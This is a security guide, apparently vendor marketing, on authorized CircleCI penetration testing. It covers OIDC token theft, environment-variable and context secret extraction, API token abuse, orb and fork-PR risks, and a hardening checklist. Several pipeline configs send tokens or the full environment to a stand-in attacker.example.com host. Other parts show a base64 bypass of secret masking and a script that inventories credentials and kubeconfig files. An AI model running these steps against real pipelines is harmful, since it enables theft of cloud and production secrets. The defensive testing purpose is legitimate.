CircleCI Security Testing: OIDC Token Abuse, Environment Variable Exposure, and Context API Secret Extraction

CircleCI is one of the most widely-used cloud CI/CD platforms, running millions of build pipelines daily for engineering teams of all sizes. The January 2023 CircleCI security incident — in which a threat actor compromised CircleCI's internal systems and accessed customer environment variable and token data — made clear that build platforms are prime targets. This guide covers authorized CircleCI security testing: OIDC token abuse for cloud credential theft, environment variable extraction, context API secret enumeration, orb supply chain risks, and the residual exposure from the 2023 incident.

Table of Contents

  1. CircleCI Architecture and Attack Surface
  2. The 2023 Security Incident: What Was Exposed
  3. OIDC Token Abuse for Cloud Credential Theft
  4. Environment Variable and Secret Exposure
  5. Context API Secret Enumeration
  6. CircleCI API Token Abuse
  7. Orb Supply Chain Attacks
  8. Pipeline Configuration Injection
  9. Post-Exploitation via CircleCI Access
  10. Hardening Checklist

CircleCI Architecture and Attack Surface

CircleCI is a fully cloud-hosted CI/CD platform. There is no on-premises server to attack directly — the attack surface is the CircleCI API, the build pipeline configuration, secrets stored in CircleCI's secret management system, and the cloud credentials injected into build jobs.

Key Components

ComponentLocationPrimary Attack Vector
CircleCI APIcircleci.com/api/v2Leaked API token; token scope abuse
Environment VariablesProject settings → Env VarsBuild log injection; malicious orb; OIDC abuse
ContextsOrganization settings → ContextsContext membership bypass; API enumeration; build log capture
OIDC TokensInjected per-job at build timeToken theft from build environment; overly permissive IAM role trust
Orbscircleci.com/developer/orbsMalicious orb publication; typosquatting; orb version pinning bypass
Self-Hosted RunnersCustomer infrastructureRunner host compromise; job interception; network pivoting

The 2023 Security Incident: What Was Exposed

In January 2023, CircleCI disclosed that a threat actor had compromised internal CircleCI systems between December 16, 2022 and January 4, 2023. The attacker gained access to customer environment variable data and tokens stored by CircleCI — including encrypted environment variable values and some token data that was encrypted at rest but potentially accessible with CircleCI's own encryption keys.

Impact assessment for authorized testing: Organizations that had CircleCI pipelines active during December 16, 2022 – January 4, 2023 should assess whether long-lived credentials stored in CircleCI at that time were rotated. Static cloud provider credentials, database passwords, API keys, and signing certificates stored as CircleCI environment variables during that window may have been compromised even if they haven't shown signs of misuse.

Checking for Residual Exposure

# Step 1: Identify all CircleCI projects active during the incident window
# Retrieve project list via CircleCI API
CIRCLECI_TOKEN="your_api_token"

curl -s "https://circleci.com/api/v2/me/collaborations" \
  -H "Circle-Token: $CIRCLECI_TOKEN" | python3 -m json.tool

# Get all projects for each organization
ORG_SLUG="github/your-org"  # or "bitbucket/your-org"
curl -s "https://circleci.com/api/v2/project?organization-slug=$ORG_SLUG" \
  -H "Circle-Token: $CIRCLECI_TOKEN" | python3 -m json.tool

# Step 2: List environment variable names (not values) per project
# This tells you WHAT was stored — now check if those were rotated
PROJECT_SLUG="github/your-org/your-repo"
curl -s "https://circleci.com/api/v2/project/$PROJECT_SLUG/envvar" \
  -H "Circle-Token: $CIRCLECI_TOKEN" | \
  python3 -c "import sys,json; [print(v['name']) for v in json.load(sys.stdin).get('items',[])]"

# Step 3: Cross-reference against your credential rotation records
# Any long-lived credential stored in CircleCI pre-January 2023 should be considered compromised
# Static AWS keys, GCP service account JSON, database passwords, signing keys

OIDC Token Abuse for Cloud Credential Theft

CircleCI supports OpenID Connect (OIDC) authentication, allowing build jobs to obtain short-lived cloud provider credentials without storing static access keys. A CircleCI OIDC token is a JWT signed by CircleCI that cloud IAM systems can validate. If an organization's IAM role trust policy is overly permissive — trusting any CircleCI job, or trusting jobs from any branch — an attacker with push access to a repository can abuse the OIDC flow to obtain cloud credentials.

Understanding CircleCI OIDC Token Claims

# CircleCI OIDC token is available inside build jobs as:
# $CIRCLE_OIDC_TOKEN  (for the default org context)
# $CIRCLE_OIDC_TOKEN_V2  (newer format with additional claims)

# Token claims for CircleCI v2 OIDC:
# sub: "org/{org_id}/project/{project_id}/user/{user_id}"
# aud: Organization ID
# iss: "https://oidc.circleci.com/org/{org_id}"
# oidc.circleci.com/project-id: project UUID
# oidc.circleci.com/context-ids: array of context UUIDs used in this job
# oidc.circleci.com/vcs-origin: "https://github.com/org/repo"
# oidc.circleci.com/vcs-ref: branch or tag name

# Decode OIDC token from inside a build job
echo $CIRCLE_OIDC_TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool

Identifying Overly Permissive IAM Role Trust Policies (AWS)

# A vulnerable AWS IAM role trust policy might look like:
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "Federated": "arn:aws:iam::ACCOUNT_ID:oidc-provider/oidc.circleci.com/org/ORG_ID"
    },
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringEquals": {
        "oidc.circleci.com/org/ORG_ID:aud": "ORG_ID"
      }
      # MISSING: no project-id or branch constraint — any CircleCI job in this org can assume the role
    }
  }]
}

# A secure trust policy should also restrict to specific projects:
"Condition": {
  "StringEquals": {
    "oidc.circleci.com/org/ORG_ID:aud": "ORG_ID",
    "oidc.circleci.com/org/ORG_ID:oidc.circleci.com/project-id": "SPECIFIC_PROJECT_ID"
  }
}

# Enumerate IAM roles that trust CircleCI OIDC (with AWS credentials)
aws iam list-roles | python3 -c "
import sys, json
roles = json.load(sys.stdin).get('Roles', [])
for role in roles:
    trust = json.dumps(role.get('AssumeRolePolicyDocument', {}))
    if 'circleci' in trust.lower():
        print(role['RoleName'], role['Arn'])
        print('Trust:', trust[:200])
        print()
"

OIDC Token Theft and Replay Attack

# Inside a CircleCI build job, OIDC tokens are short-lived (~1 hour)
# An attacker with code execution inside a build can steal the token

# Method 1: Malicious pipeline step (if you control .circleci/config.yml)
# In .circleci/config.yml:
jobs:
  build:
    steps:
      - run:
          name: Capture OIDC token
          command: |
            echo "OIDC_TOKEN: $CIRCLE_OIDC_TOKEN"
            curl -s -X POST "https://attacker.example.com/token" \
              -d "token=$CIRCLE_OIDC_TOKEN"

# Method 2: Via a malicious orb (see Orb Supply Chain section)

# Using a stolen CircleCI OIDC token to assume an AWS role:
OIDC_TOKEN="eyJhbGciOi..."  # stolen from build output

# Exchange OIDC token for AWS credentials
aws sts assume-role-with-web-identity \
  --role-arn "arn:aws:iam::ACCOUNT_ID:role/circleci-deploy-role" \
  --role-session-name "attacker-session" \
  --web-identity-token "$OIDC_TOKEN" \
  --duration-seconds 3600

# Result: Temporary AWS credentials (AccessKeyId, SecretAccessKey, SessionToken)
# These are short-lived but can be used immediately to access AWS resources

Environment Variable and Secret Exposure

CircleCI environment variables store the most sensitive data in a CI/CD pipeline: cloud credentials, database passwords, API keys, signing certificates, and deployment tokens. The values cannot be read via the API — they are only accessible from within a running build job. However, there are multiple paths to extracting these values from build output.

Secrets Visible in Build Logs

# CircleCI automatically masks known secret patterns in build output
# However, encoding or indirect exposure can bypass masking

# Common patterns that leak secrets into logs:
# 1. Error messages that include the secret value
# 2. Debug mode enabled (set -x in bash)
# 3. Tools that print environment on error
# 4. Base64 encoding bypasses string masking
# 5. JSON parsing with jq printing full objects

# Example of accidental exposure via debug shell:
- run:
    name: Deploy
    command: |
      set -x  # prints every command — including variable assignments
      aws s3 sync . s3://my-bucket  # AWS_SECRET_ACCESS_KEY visible in trace

# Example: base64-encoded secret bypasses masking
- run:
    command: echo $MY_SECRET | base64  # masking checks for raw string, not encoded

# Test for build log exposure: check archived build logs
CIRCLECI_TOKEN="your_api_token"
PROJECT_SLUG="github/your-org/your-repo"

# Get recent builds
curl -s "https://circleci.com/api/v2/project/$PROJECT_SLUG/pipeline?branch=main" \
  -H "Circle-Token: $CIRCLECI_TOKEN" | python3 -m json.tool

# Get job logs for a specific workflow
PIPELINE_ID="pipeline-uuid"
curl -s "https://circleci.com/api/v2/pipeline/$PIPELINE_ID/workflow" \
  -H "Circle-Token: $CIRCLECI_TOKEN" | python3 -m json.tool

Extracting Secrets via Controlled Build Injection

# If you have write access to a repository with CircleCI pipelines,
# inject a step to extract all environment variables from a build

# .circleci/config.yml modification:
version: 2.1
jobs:
  build:
    docker:
      - image: cimg/base:stable
    steps:
      - checkout
      - run:
          name: capture-env
          command: |
            # Capture all env vars and exfiltrate
            env | base64 | curl -s -X POST https://attacker.example.com/collect \
              -H "Content-Type: text/plain" --data-binary @-

            # Or write to artifact for later retrieval
            env > /tmp/all_secrets.txt
      - store_artifacts:
          path: /tmp/all_secrets.txt
          destination: secrets  # DO NOT DO THIS in production — for authorized testing only

# Alternative: SSH debugging (CircleCI feature)
# Enable SSH access to a running job via CircleCI dashboard
# Approved users can SSH into the build container and read environment variables
# Admin account needed to enable SSH for a build

Context API Secret Enumeration

CircleCI Contexts are organization-level shared secret stores. A single context can contain dozens of environment variables used across multiple projects. Context variable names (but not values) are accessible via the CircleCI API, giving an attacker insight into what credentials are stored. Context access is controlled by OIDC claims — specific CircleCI jobs must be granted access to a context, but this is controlled in the pipeline YAML, not in CircleCI's UI.

Enumerating Contexts via API

# List all organization contexts
CIRCLECI_TOKEN="your_api_token"
ORG_ID="your-org-uuid"  # Get from circleci.com/api/v2/me/collaborations

curl -s "https://circleci.com/api/v2/context?owner-id=$ORG_ID&owner-type=organization" \
  -H "Circle-Token: $CIRCLECI_TOKEN" | python3 -m json.tool

# Get environment variable names for a specific context (not values)
CONTEXT_ID="context-uuid"
curl -s "https://circleci.com/api/v2/context/$CONTEXT_ID/environment-variable" \
  -H "Circle-Token: $CIRCLECI_TOKEN" | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
for item in data.get('items', []):
    print(f\"Variable: {item['variable']} | Context: {item.get('context_id')}\")
"

Context Restriction Bypass via Branch Policy

# Context access can be restricted by branch or security group
# A misconfigured context with no restrictions allows any job in the org to use it

# Check if a context has branch restrictions
curl -s "https://circleci.com/api/v2/context/$CONTEXT_ID" \
  -H "Circle-Token: $CIRCLECI_TOKEN" | \
  python3 -c "
import sys, json
d = json.load(sys.stdin)
print('Context:', d.get('name'))
print('Restrictions:', json.dumps(d.get('restrictions', {}), indent=2))
"
# If restrictions is empty {} — any pipeline in the org can consume this context

# Exploit: create or modify a .circleci/config.yml in any repo to consume the context
version: 2.1
jobs:
  steal_context:
    docker:
      - image: cimg/base:stable
    steps:
      - run:
          name: dump context env vars
          command: env | grep -v "^PATH\|^HOME\|^CIRCLE\|^BASH" | sort
workflows:
  steal:
    jobs:
      - steal_context:
          context:
            - PRODUCTION_SECRETS  # Context name from enumeration

CircleCI API Token Abuse

CircleCI personal API tokens grant access to all CircleCI actions for a user account. Project tokens are scoped to a single project but still allow pipeline triggering and artifact access. API tokens are frequently leaked in CI configuration files, developer dotfiles, and source code.

Locating Leaked CircleCI Tokens

# CircleCI API token format: 40-character hex string
# Personal tokens: start with standard hex chars
# Project tokens: similar format, scoped to project

# Search source code for CircleCI tokens
trufflehog git https://github.com/your-org/your-repo --only-verified
gitleaks detect --source /path/to/repo --verbose

# Token pattern (regex)
grep -rn --include="*.yaml" --include="*.yml" --include="*.env" --include="*.sh" \
  -E "CIRCLECI_TOKEN|CIRCLE_TOKEN|circle\.token|circleci\.com.*token" /path/to/code

# Developer dotfiles
cat ~/.circleci/cli.yml
# Contains: token: YOUR_PERSONAL_TOKEN

# CI tool configurations often store CircleCI tokens
cat ~/.circleci/config.yml
grep -r "CIRCLECI_API_TOKEN\|CIRCLE_CI_TOKEN" ~/.bash_profile ~/.zshrc ~/.profile

Using a Stolen API Token

# Verify token validity and identify owner
STOLEN_TOKEN="leaked_token_here"
curl -s "https://circleci.com/api/v2/me" \
  -H "Circle-Token: $STOLEN_TOKEN" | python3 -m json.tool
# Returns: user name, login, id, emails

# List accessible organizations
curl -s "https://circleci.com/api/v2/me/collaborations" \
  -H "Circle-Token: $STOLEN_TOKEN" | python3 -m json.tool

# Enumerate all projects across orgs
for VCS_SLUG in "github/org1" "github/org2"; do
  curl -s "https://circleci.com/api/v2/project?organization-slug=$VCS_SLUG" \
    -H "Circle-Token: $STOLEN_TOKEN" | \
    python3 -c "import sys,json; [print(p.get('slug')) for p in json.load(sys.stdin).get('items',[])]"
done

# Trigger a build with an injected command (if write access exists in repo)
PROJECT_SLUG="github/target-org/target-repo"
curl -s -X POST "https://circleci.com/api/v2/project/$PROJECT_SLUG/pipeline" \
  -H "Circle-Token: $STOLEN_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"branch": "main"}' | python3 -m json.tool

Orb Supply Chain Attacks

CircleCI orbs are reusable configuration packages that abstract common CI/CD tasks (deploying to AWS, running security scans, publishing to npm). An orb executes code inside build jobs with access to all pipeline secrets. Organizations that use third-party orbs without pinning to specific versions are vulnerable to supply chain compromise.

Orb Risk Categories

# Audit orb usage in .circleci/config.yml
# Check for unpinned orb references
grep -rn "orbs:" .circleci/config.yml

# Example of vulnerable orb usage:
orbs:
  aws-cli: circleci/aws-cli@volatile  # dangerous — mutable tag
  node: circleci/node@5  # major version tag — also mutable

# Example of secure orb pinning:
orbs:
  aws-cli: circleci/aws-cli@4.1.2  # pinned to exact version
  node: circleci/node@5.2.0  # pinned to patch version

# Check orb registry for suspicious orbs
curl -s "https://circleci.com/api/v2/orb?query=aws" | \
  python3 -c "import sys,json; [print(o['name'], o.get('versions',{}).get('version','')) for o in json.load(sys.stdin).get('orbs',[])]"

# Verify orb source code before using
ORB_SLUG="circleci/aws-cli@4.1.2"
curl -s "https://circleci.com/api/v1.1/orb/$ORB_SLUG" | python3 -m json.tool
# Review the source YAML for suspicious exfiltration commands

Pipeline Configuration Injection

CircleCI pipeline configuration is stored in .circleci/config.yml in the repository. Any developer or attacker with push access to the repository — including to feature branches — can modify the pipeline configuration to execute arbitrary commands with access to all project environment variables.

# Assess pipeline injection risk
# Check if CircleCI is configured to run pipelines from all branches
# vs only from protected branches

# In CircleCI project settings, check:
# Settings → Advanced → "Only build pull requests" (reduces fork PR risk)
# Settings → Advanced → "Build forked pull requests" (dangerous if enabled)

# Check if contexts are protected by branch restrictions
# Context with no restrictions + pipeline from any branch = full secret exposure

# Example attack: attacker forks repo, creates PR, CircleCI runs build
# If "Build forked pull requests" is enabled and context has no restrictions:
# .circleci/config.yml in attacker's fork:
version: 2.1
jobs:
  build:
    docker:
      - image: cimg/base:stable
    steps:
      - run: env | curl -X POST https://attacker.example.com -d @-
workflows:
  main:
    jobs:
      - build:
          context: PRODUCTION_SECRETS  # Attacker gains production secrets

Post-Exploitation via CircleCI Access

A compromised CircleCI account or pipeline provides extensive access to an organization's infrastructure. Build pipelines touch nearly every critical system: source code, artifact registries, cloud infrastructure, Kubernetes clusters, databases, and deployment targets.

High-Value Pivot Paths from CircleCI

# Comprehensive secret inventory when inside a CircleCI build job
# Run as a step in your authorized penetration test config

#!/bin/bash
echo "=== CircleCI Secret Inventory ==="
echo "--- Cloud Provider Credentials ---"
env | grep -E "AWS_|GOOGLE_|AZURE_|GCP_|GCLOUD_" | sort

echo "--- Container Registry ---"
env | grep -E "DOCKER_|ECR_|GCR_|REGISTRY_" | sort
cat ~/.docker/config.json 2>/dev/null

echo "--- Package Registry ---"
env | grep -E "NPM_TOKEN|PYPI_TOKEN|MAVEN_PASSWORD|NUGET_" | sort

echo "--- Source Control ---"
env | grep -E "GITHUB_TOKEN|GITLAB_TOKEN|GH_TOKEN|BITBUCKET_" | sort

echo "--- Database ---"
env | grep -E "_DATABASE_URL|_DB_PASSWORD|_DB_URI|_CONNECTION_STRING" | sort

echo "--- Kubernetes ---"
env | grep -E "KUBECONFIG|K8S_TOKEN|KUBERNETES_" | sort
cat $KUBECONFIG 2>/dev/null || cat ~/.kube/config 2>/dev/null

echo "--- Signing Keys ---"
env | grep -E "GPG_KEY|SIGNING_KEY|CERT_|P12_|KEYSTORE_" | sort
Ironimo detects CircleCI security misconfigurations — identifying exposed pipeline configurations, overly permissive OIDC role trust policies, and unprotected context secrets as part of authorized CI/CD security assessments.

Hardening Checklist

ControlActionPriority
Rotate secrets post-2023 incidentRotate all static credentials stored in CircleCI prior to January 2023; verify rotation via secret scanningCritical
Replace static credentials with OIDCUse CircleCI OIDC tokens for AWS/GCP/Azure authentication; avoid storing long-lived access keysCritical
Restrict OIDC IAM role trustScope IAM trust policies to specific CircleCI project IDs and branches, not the entire orgCritical
Protect contexts with branch restrictionsAdd context restrictions limiting access to specific branches (main/release) or security groupsHigh
Disable fork PR buildsNever allow fork PRs to access organization contexts or environment variablesHigh
Pin orb versionsUse exact semantic versions for all orbs (e.g. circleci/aws-cli@4.1.2); review orb source codeHigh
Audit API token usageRegularly review and expire unused personal API tokens; rotate tokens if developer leavesHigh
Enable SSO/SAML for org accessEnforce SSO for CircleCI organization access; disable username/password login where possibleMedium
Monitor build log outputScan build logs for accidental secret exposure; alert on base64-encoded sensitive patternsMedium
Enforce IP ranges for runnersIf using self-hosted runners, restrict runner communication to known IP rangesMedium

Assess Your CircleCI Pipeline Security

Ironimo scans CI/CD pipeline configurations for misconfigured contexts, overly permissive OIDC trust policies, unpinned orb versions, and leaked secrets in build artifacts — the exposure paths that turn CI pipelines into attacker footholds.

Start free scan